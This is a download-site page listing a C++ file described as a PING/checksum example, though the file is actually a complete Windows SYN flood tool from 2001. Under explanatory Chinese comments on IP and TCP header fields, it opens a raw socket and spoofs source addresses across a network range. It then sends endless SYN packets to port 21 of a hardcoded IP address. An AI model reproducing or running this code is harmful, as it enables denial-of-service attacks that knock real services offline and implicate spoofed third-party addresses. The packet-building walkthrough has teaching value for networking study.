⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 1.cpp

📁 PING程序设计原理 IP校验和的计算 一个LINUX环境下的程序 但是是c的程序文件 需要转换一下
💻 CPP
字号:
//////////////////////////////////////////////////////////////////////////
//                                               //
// SYN Flooder For Win2K by Shotgun                         //
//                                               //
// THIS PROGRAM IS MODIFIED FROM A LINUX VERSION BY Zakath         //
// THANX Lion Hook FOR PROGRAM OPTIMIZATION                   //
//                                               //
// Released: [2001.4]                                 //
// Author: [Shotgun]                               //
// Homepage:                                       //
//   [http://IT.Xici.Net]                         //
//   [http://WWW.Patching.Net]                     //
//                                               //
//////////////////////////////////////////////////////////////////////////
#include <winsock2.h> 
#include <Ws2tcpip.h> 
#include <stdio.h>
#include <stdlib.h>
#define SEQ 0x28376839
#define SYN_DEST_IP "222.28.142.232"//被攻击的IP
#define FAKE_IP "10.0.0.1" //伪装IP的起始值,本程序的伪装IP覆盖一个B类网段
#define STATUS_FAILED 0xFFFF //错误返回值
typedef struct _iphdr   //定义IP首部
{
	unsigned char h_verlen;   //4位首部长度,4位IP版本号
	unsigned char tos;   //8位服务类型TOS
	unsigned short total_len; //16位总长度(字节)
	unsigned short ident;   //16位标识
	unsigned short frag_and_flags; //3位标志位和13位偏移位。
	unsigned char ttl;   //8位生存时间 TTL
	unsigned char proto;   //8位协议 (TCP, UDP 或其他)
	unsigned short checksum; //16位IP首部校验和
	unsigned int sourceIP;   //32位源IP地址
	unsigned int destIP;   //32位目的IP地址
}IP_HEADER;
struct     //定义TCP伪首部
{
	unsigned long saddr; //源地址
	unsigned long daddr; //目的地址
	char mbz;
	char ptcl;   //协议类型
	unsigned short tcpl; //TCP长度
}psd_header;
typedef struct _tcphdr   //定义TCP首部
{
	USHORT th_sport;   //16位源端口
	USHORT th_dport;   //16位目的端口
	unsigned int th_seq;   //32位序列号
	unsigned int th_ack;   //32位确认号
	unsigned char th_lenres; //4位首部长度+6位保留字中的前4位
	unsigned char th_flag;   //6位保留字中的后2位+6位标志位
	USHORT th_win;   //16位窗口大小
	USHORT th_sum;   //16位校验和
	USHORT th_urp;   //16位紧急数据偏移量
}TCP_HEADER;
//CheckSum:计算校验和的子函数
USHORT checksum(USHORT *buffer, int size) 
{ 
	unsigned long cksum=0;
	while(size >1)
	{
		cksum+=*buffer++;
		size -=sizeof(USHORT);
	}
	if(size )
	{
		cksum += *(UCHAR*)buffer;
	}
	cksum = (cksum >> 16) + (cksum & 0xffff);
	cksum += (cksum >>16);
	return (USHORT)(~cksum);
}
// SynFlood主函数
int main()
{
	int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;
	int TimeOut=2000,SendSEQ=0;
	char SendBuf[128]={0};
	char RecvBuf[65535]={0};
	WSADATA wsaData;
	SOCKET SockRaw=(SOCKET)NULL;
	struct sockaddr_in DestAddr;
	IP_HEADER ip_header;
	TCP_HEADER tcp_header;
	//初始化SOCK_RAW
	if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)
	{
		fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);
		ExitProcess(STATUS_FAILED);
	}
	SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
	if (SockRaw==INVALID_SOCKET)
	{
		fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());
		ExitProcess(STATUS_FAILED);
	}
	flag=TRUE;
	//设置IP_HDRINCL以自己填充IP首部
	//setsockopt函数其实在IP层也可以设置一些选项,define  IP_HDRINCL	2  /*header is included with data */
	//在文件WS2TCPIP.H中定义了一些可供设置的选项 
	ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
	if (ErrorCode==SOCKET_ERROR)
		printf("Set IP_HDRINCL Error!\n");
	__try	
	{
		//设置发送超时
		ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
		if(ErrorCode==SOCKET_ERROR)
		{
			fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());
			 __leave;
		}
		memset(&DestAddr,0,sizeof(DestAddr));
		DestAddr.sin_family=AF_INET;
		DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP);
		FakeIpNet=inet_addr(FAKE_IP);
		FakeIpHost=ntohl(FakeIpNet);
		//填充IP首部
		ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));
		//高四位IP版本号,低四位首部长度
		ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位总长度(字节)
		ip_header.ident=1;         //16位标识
		ip_header.frag_and_flags=0;         //3位标志位
		ip_header.ttl=128;         //8位生存时间TTL
		ip_header.proto=IPPROTO_TCP;       //8位协议(TCP,UDP…)
		ip_header.checksum=0;         //16位IP首部校验和
		ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);     //32位源IP地址
		ip_header.destIP=inet_addr(SYN_DEST_IP);     //32位目的IP地址
		//填充TCP首部
		tcp_header.th_sport=htons(7000);       //源端口号
		tcp_header.th_dport=htons(21);       //目的端口号
		tcp_header.th_seq=htonl(SEQ+SendSEQ);       //SYN序列号
		tcp_header.th_ack=0;         //确认号置为0
		//首部长度以4B为单位,所以除以4,4位首部长度和6位保留位中的前4位共占8位,
		//要对前4位赋值,所以要左移4位
		tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0);     //TCP长度和保留位,
		tcp_header.th_flag=2;         //SYN 标志,二进制表示为00000010,所以取值为2
		tcp_header.th_win=htons(16384);       //窗口大小
		tcp_header.th_urp=0;         //16位紧急指针数据偏移
		tcp_header.th_sum=0;         //校验和
		//填充TCP伪首部(用于计算校验和,并不真正发送)
		psd_header.saddr=ip_header.sourceIP;                         //源地址
		psd_header.daddr=ip_header.destIP;                         //目的地址
		psd_header.mbz=0;
		psd_header.ptcl=IPPROTO_TCP;                             //协议类型
		//TCP伪首部中参与校验的应该是TCP 的整体长度,而非首部长度,
		//但在发起一个SYN连接的时候,没有实际的TCP数据,只有TCP首部,所以下面赋值为

		psd_header.tcpl=htons(sizeof(tcp_header));            //TCP首部长度
		while(1) 
		{
			//每发送10,240个报文输出一个标示符
			printf(".");
			for(counter=0;counter<10240;counter++)
			{
				if(SendSEQ++==65536) SendSEQ=1;       //序列号循环
				//更改IP首部
				ip_header.checksum=0;       //16位IP首部校验和
				//32位源IP地址,每次发送一个数据包时,IP地址都是不同的
				ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);   
				//更改TCP首部
				tcp_header.th_seq=htonl(SEQ+SendSEQ);     //SYN序列号
				tcp_header.th_sum=0;       //校验和
				 //更改TCP Pseudo Header
				 psd_header.saddr=ip_header.sourceIP;   
				 //计算TCP校验和,计算校验和时需要包括TCP pseudo header   
				 memcpy(SendBuf,&psd_header,sizeof(psd_header)); 
				 memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
				tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));
				//计算IP校验和
				 memcpy(SendBuf,&ip_header,sizeof(ip_header));
				 memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
				 memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);
				 datasize=sizeof(ip_header)+sizeof(tcp_header);
				 ip_header.checksum=checksum((USHORT *)SendBuf,datasize);
				 //填充发送缓冲区
				 memcpy(SendBuf,&ip_header,sizeof(ip_header));
				 //发送TCP报文
				ErrorCode=sendto(SockRaw,SendBuf,datasize, 0,(struct sockaddr*) &DestAddr,sizeof(DestAddr));
				if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError());
			}//End of for
		}//End of While
	}//End of try
	__finally 
	{
		if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);
		WSACleanup();
	}
	return 0;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -